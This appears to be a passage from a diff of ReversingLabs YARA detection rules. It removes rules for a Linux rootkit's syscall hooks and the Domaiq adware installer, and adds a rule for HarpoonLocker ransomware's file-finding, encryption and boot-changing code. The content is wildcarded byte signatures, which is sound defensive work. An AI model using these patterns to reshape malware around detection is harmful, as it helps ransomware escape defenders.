11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 + 09 17 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 02 16 02 + 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DD ?? ?? ?? ?? 11 ?? 38 ?? ?? ?? ?? + 38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 08 6F ?? ?? ?? ?? 0A 00 DD ?? + ?? ?? ?? 09 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 00 DC 00 DD + ?? ?? ?? ?? 08 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 00 DC 06 + 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 11 ?? 2A } - $hook_gdents64 = { - E8 ?? ?? ?? ?? 55 48 89 E5 41 57 41 56 41 55 41 54 53 48 83 EC ?? 48 8B 47 ?? 4C 8B - 6F ?? 48 89 45 ?? 48 8B 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 63 D8 89 45 - ?? 49 89 C4 48 89 DF E8 ?? ?? ?? ?? 48 89 45 ?? 45 85 E4 7E ?? 48 85 C0 74 ?? 48 89 - C7 31 D2 48 89 DE 49 89 C6 E8 ?? ?? ?? ?? 48 8B 75 ?? 48 89 DA 4C 89 F7 E8 ?? ?? ?? - ?? 49 89 C4 48 85 C0 74 ?? 48 8B 7D ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 D8 5B 41 5C - 41 5D 41 5E 41 5F 5D E9 ?? ?? ?? ?? 44 89 EF 48 C7 C3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - C7 45 ?? ?? ?? ?? ?? 89 45 ?? EB ?? 8B 45 ?? 85 C0 74 ?? 4C 89 75 ?? 41 0F B7 46 ?? - 4C 63 6D ?? 49 01 C4 4D 39 EC 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 83 7D ?? ?? 4E 8D 34 20 - 75 ?? 4D 89 F5 49 83 C5 ?? 0F 84 ?? ?? ?? ?? 49 C7 C7 ?? ?? ?? ?? EB ?? 49 83 C7 ?? - 4C 39 FB 74 ?? 41 80 3F ?? 74 ?? 4C 89 EE 4C 89 FF E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B - 45 ?? 49 39 C6 74 ?? 48 8B 4D ?? 41 0F B7 46 ?? 66 01 41 ?? EB ?? 49 83 FE ?? 74 ?? - 41 81 7E ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 45 ?? 49 39 C6 75 ?? 0F B7 50 ?? 29 - 55 ?? 48 89 C7 4C 63 6D ?? 48 8D 34 10 4C 89 EA E8 ?? ?? ?? ?? 4D 39 EC 0F 82 ?? ?? - ?? ?? 4C 89 EB 49 81 FD ?? ?? ?? ?? 77 ?? 4C 8B 75 ?? 4C 89 EE BA ?? ?? ?? ?? 4C 89 - F7 E8 ?? ?? ?? ?? 48 8B 7D ?? 4C 89 EA 4C 89 F6 E8 + $find_files = { + 16 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 0C 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 06 72 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 08 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? + ?? ?? ?? 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 + 28 ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? + 00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 + FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? + ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ?? + ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 + ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ?? + 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ?? + ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ?? + 16 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? + ?? ?? 3A ?? ?? ?? ?? 2A } condition: - uint32( 0 ) == 0x464C457F and ( all of ( $hooking_syscalls_mechanism_p* ) ) and ( all of ( $hook_rmdir_* ) ) and ( $hook_gdents64 ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) } -rule REVERSINGLABS_Win32_PUA_Domaiq : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Harpoonlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Domaiq potentially unwanted application." + description = "Yara rule that detects HarpoonLocker ransomware." author = "ReversingLabs" - id = "44129e4b-7dc2-5af0-b466-80dc4f4d6388" - date = "2020-07-28" - modified = "2020-07-28" + id = "3605d354-5a33-54b1-83ad-ad514c78357b" + date = "2022-01-27" + modified = "2022-01-27" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/pua/Win32.PUA.Domaiq.yara#L1-L169" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.HarpoonLocker.yara#L1-L96" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e291a639aa027a2257eec2853e40a222afabf23b32898326a1d5b48be823202c" + logic_hash = "20587f9dce5981934498d9979843a090224ba649def8b694adf7799b7060cc25" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "PUA" - tc_detection_name = "Domaiq" - tc_detection_factor = 1 + tc_detection_type = "Ransomware" + tc_detection_name = "HarpoonLocker" + tc_detection_factor = 5 importance = 25 strings: - $payload = "PEFxdWlFbXBpZXphRWxQYXlsb2FkPg" - $NSIS_CheckIntegrity = { - 57 53 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 75 ?? 6A 1C 8D 45 - D8 53 50 E8 ?? ?? ?? ?? 8B 45 D8 A9 F0 FF FF FF 75 ?? 81 7D DC EF BE AD DE 75 ?? 81 - 7D E8 49 6E 73 74 75 ?? 81 7D E4 73 6F 66 74 75 ?? 81 7D E0 4E 75 6C 6C 75 ?? 09 45 - 08 8B 45 08 8B 0D ?? ?? ?? ?? 83 E0 02 09 05 ?? ?? ?? ?? 8B 45 F0 3B C6 89 0D ?? ?? - ?? ?? 0F 8F ?? ?? ?? ?? F6 45 08 08 75 ?? F6 45 08 04 75 - } - $NSIS_ErrorPart = { - 81 EC ?? ?? ?? ?? 53 55 56 33 DB 57 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 33 F6 C6 44 - 24 ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A - ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 53 8D 44 24 ?? 68 ?? ?? ?? ?? 50 53 - 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? BF ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 80 3D ?? ?? ?? - ?? ?? A3 ?? ?? ?? ?? 8B C7 75 - } - $UPX_Decompression = { - 8A 06 46 88 07 47 01 DB 75 ?? 8B 1E 83 EE ?? 11 DB 72 ?? B8 ?? ?? ?? ?? 01 DB 75 ?? - 8B 1E 83 EE ?? 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE ?? 11 DB 72 ?? 48 01 DB 75 - } - $UPX_Encrypting = { - 31 C0 8A 07 30 D8 04 ?? 2C ?? 88 07 47 39 CF 75 - } - $dumping_functionv2014 = { - 55 8B EC 83 EC ?? 56 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 - ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 89 45 ?? 85 C0 74 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 74 ?? 8B 45 ?? - 53 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? - 56 6A ?? 6A ?? 8B D8 6A ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 57 6A ?? 6A ?? 6A - ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 51 8B F8 52 57 E8 ?? ?? ?? ?? 83 C4 - ?? 57 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 53 FF D6 5F 5B 5E 8B E5 5D C3 - } - $dumping_functionMidVersion = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ?? ?? ?? 33 - DB BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 45 ?? 89 75 ?? 89 5D ?? 88 5D ?? FF 15 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 8B CF 8D 41 ?? 8A 11 41 3A - D3 75 ?? 2B C8 51 57 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? - 83 EC ?? 8B CC 89 65 ?? 6A ?? 89 71 ?? 89 59 ?? 68 ?? ?? ?? ?? 88 59 ?? E8 ?? ?? ?? - ?? 83 EC ?? 8B CC 89 65 ?? 6A ?? 53 8D 55 ?? 89 71 ?? 89 59 ?? 52 88 59 ?? E8 ?? ?? - ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B CC 89 65 ?? 6A ?? 89 71 ?? 89 59 ?? 68 ?? ?? - ?? ?? 88 59 ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 89 65 ?? 6A ?? 53 8D 45 ?? 89 71 ?? 89 - 59 ?? 50 88 59 ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B CC 89 65 ?? 6A ?? - 89 71 ?? 89 59 ?? 68 ?? ?? ?? ?? 88 59 ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 89 65 ?? 6A - ?? 53 8D 55 ?? 89 71 ?? 89 59 ?? 52 88 59 ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 - C4 ?? 8B C4 89 65 ?? 68 ?? ?? ?? ?? 8D 4D ?? 51 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? - ?? ?? 8B 7D ?? BE ?? ?? ?? ?? 83 C4 ?? 39 75 ?? 73 ?? 8D 7D ?? 68 ?? ?? ?? ?? 8D 55 - ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B 40 ?? EB ?? 83 C0 ?? 8B - 4D ?? 57 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 75 ?? 72 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 - C4 ?? 39 75 ?? 72 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 5E 33 CD 33 C0 - 5B E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $dumping_functionE = { - 52 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 5? FF 15 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 6A ?? FF 15 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? 83 BD ?? ?? ?? ?? ?? 75 ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? - ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 - 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF - 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 51 8B CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 - } - $dumping_functionP = { - 50 57 56 FF 15 ?? ?? ?? ?? 8B F8 57 56 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 57 56 - 89 45 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BF - ?? ?? ?? ?? 57 56 68 ?? ?? ?? ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 6A - ?? 56 56 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 56 8B D8 8D 45 ?? 50 FF 75 ?? 89 75 ?? - FF 75 ?? 53 FF 15 ?? ?? ?? ?? 53 FF 15 - } - $dumping_functionB = { - 52 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D BD ?? - ?? ?? ?? F3 A5 A4 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 A4 - 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 95 - ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 51 8B CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? E8 - } - $dumping_function111 = { - 68 ?? ?? ?? ?? 8D 55 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 39 58 ?? 72 ?? 8B 40 ?? EB - ?? 83 C0 ?? 50 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 39 5D ?? 72 ?? 8B 55 ?? 52 E8 ?? ?? ?? - ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 E8 - } - $dumping_function2 = { - 55 8B EC 51 53 8B 5D ?? 56 68 ?? ?? ?? ?? 8D 45 ?? 53 50 33 F6 E8 ?? ?? ?? ?? 8B 4D - ?? 68 ?? ?? ?? ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 83 F8 ?? 74 ?? 57 8B 7D ?? 0F BE 14 3E 8B 4D ?? 51 33 D0 52 E8 ?? ?? ?? ?? 8B C7 83 - C4 ?? 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B C2 8D 4E ?? 8B D1 2B D0 - 8B 45 ?? F7 DA 1B D2 23 D1 50 8B F2 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 5F 8B 4D - ?? 51 E8 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 5E 5B 8B - E5 5D C2 - } - $lib_loader = { - 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 33 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 A3 ?? ?? - ?? ?? FF D6 33 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 33 05 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 33 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 + $encrypt_files_p1 = { + 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 14 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? + ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 6F + ?? ?? ?? ?? 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 73 ?? ?? ?? ?? 25 06 07 9A 7D + ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ?? ?? 26 07 17 58 0B 07 06 8E + 69 32 ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 73 ?? ?? ?? ?? 0D + 09 12 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ?? + ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 12 ?? + 12 ?? 28 ?? ?? ?? ?? 12 ?? 12 ?? 28 ?? ?? ?? ?? 11 ?? 11 ?? 59 13 ?? 72 ?? ?? ?? ?? 11 + ?? 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 2C ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 2B ?? 2A } - $exception1 = { - B8 ?? ?? ?? ?? 50 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 33 C0 89 08 + $encrypt_files_p2 = { + 12 ?? FE 15 ?? ?? ?? ?? 12 ?? FE 15 ?? ?? ?? ?? 12 ?? FE 15 ?? ?? ?? ?? 02 16 12 ?? 28 + ?? ?? ?? ?? 26 08 7B ?? ?? ?? ?? 0D 08 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 35 ?? 08 7B ?? ?? + ?? ?? 16 36 ?? DD ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 72 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 10 ?? 03 03 6F ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? + 13 ?? 1F ?? 8D ?? ?? ?? ?? 13 ?? 03 6F ?? ?? ?? ?? 16 11 ?? 16 1F ?? 28 ?? ?? ?? ?? 03 + 6F ?? ?? ?? ?? 16 11 ?? 1F ?? 1F ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 1F ?? 6A + 13 ?? 17 13 ?? 09 6E 13 ?? 2B ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 59 13 ?? 11 ?? 11 ?? 30 + ?? 02 19 17 7E ?? ?? ?? ?? 19 20 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? + 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ?? 11 ?? 7E ?? ?? ?? ?? 1A 16 09 20 ?? + ?? ?? ?? 58 14 28 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ?? + 06 1F ?? 16 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? + DD ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 26 16 13 ?? 16 13 ?? 2B ?? 11 ?? 20 ?? ?? ?? ?? 2F + ?? 09 6E 11 ?? 6A 59 13 ?? 11 ?? D4 8D ?? ?? ?? ?? 13 ?? 11 ?? 17 58 11 ?? 33 ?? 11 ?? + D4 8D ?? ?? ?? ?? 13 ?? 07 11 ?? 28 ?? ?? ?? ?? 11 ?? 16 11 ?? 8E 69 28 ?? ?? ?? ?? 11 + ?? 18 5D 2D ?? 11 ?? 8E 69 1F ?? 33 ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 16 07 11 + ?? 28 ?? ?? ?? ?? 11 ?? 8E 69 28 ?? ?? ?? ?? 11 ?? 11 ?? 8E 69 58 13 ?? 11 ?? 17 58 13 + ?? 11 ?? 11 ?? 3F ?? ?? ?? ?? 11 ?? 20 ?? ?? ?? ?? 32 ?? 11 ?? 16 07 09 28 ?? ?? ?? ?? + 11 ?? 8E 69 28 ?? ?? ?? ?? 2B ?? 11 ?? 16 07 11 ?? 28 ?? ?? ?? ?? 11 ?? 8E 69 28 ?? ?? + ?? ?? DE ?? 26 DE ?? 26 DE ?? 00 07 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 00 06 28 ?? ?? ?? + ?? 26 DE ?? 26 DE ?? DC 2A } - $exception2 = { - 55 53 51 57 56 52 8D 98 ?? ?? ?? ?? 8B 53 ?? 52 8B E8 6A ?? 68 ?? ?? ?? ?? FF 73 ?? - 6A ?? 8B 4B ?? 03 CA 8B 01 FF D0 + $find_files = { + 73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 7E ?? ?? ?? ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 2C ?? 2A 00 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? + ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 14 0B 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B DE ?? 26 + DE ?? 07 2C ?? 07 8E 16 FE 01 2B ?? 17 0C 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 16 13 + ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 08 2C ?? 11 ?? 7B ?? + ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ?? ?? + 26 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 08 2C ?? DD ?? ?? ?? ?? 28 + ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17 + 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 07 13 ?? 16 13 ?? 2B ?? 73 ?? ?? ?? + ?? 13 ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? + 7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 7E ?? ?? ?? ?? 11 ?? FE 06 ?? + ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 11 ?? 7B ?? ?? ?? ?? 09 28 ?? ?? ?? ?? DE + ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 09 6F ?? ?? ?? ?? DE ?? 26 DE + ?? DE ?? 26 DE ?? 2A } - $exceptionallock = { - B8 ?? ?? ?? ?? 8D 88 ?? ?? ?? ?? 89 41 ?? 8B 54 24 ?? 8B 52 ?? C6 02 ?? 83 C2 ?? - 2B CA 89 4A ?? 33 C0 C3 + $change_boot = { + 02 8E 2C ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2A 02 16 9A 72 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A 02 16 9A 72 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 2C ?? 17 80 ?? ?? ?? ?? 16 80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 2C ?? 17 80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 28 ?? + ?? ?? ?? 2A 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? + ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A 28 ?? ?? ?? ?? 2A } condition: - uint16( 0 ) == 0x5A4D and $payload and ( $NSIS_CheckIntegrity or ( $UPX_Decompression and $UPX_Encrypting ) or $NSIS_ErrorPart or $dumping_functionv2014 or $dumping_functionMidVersion or ( $exception1 and $exception2 and $exceptionallock ) or $dumping_functionP or $dumping_functionE or $dumping_functionB or $dumping_function111 or $dumping_function2 or $lib_loader ) + uint16( 0 ) == 0x5A4D and ( $change_boot ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } - -rule 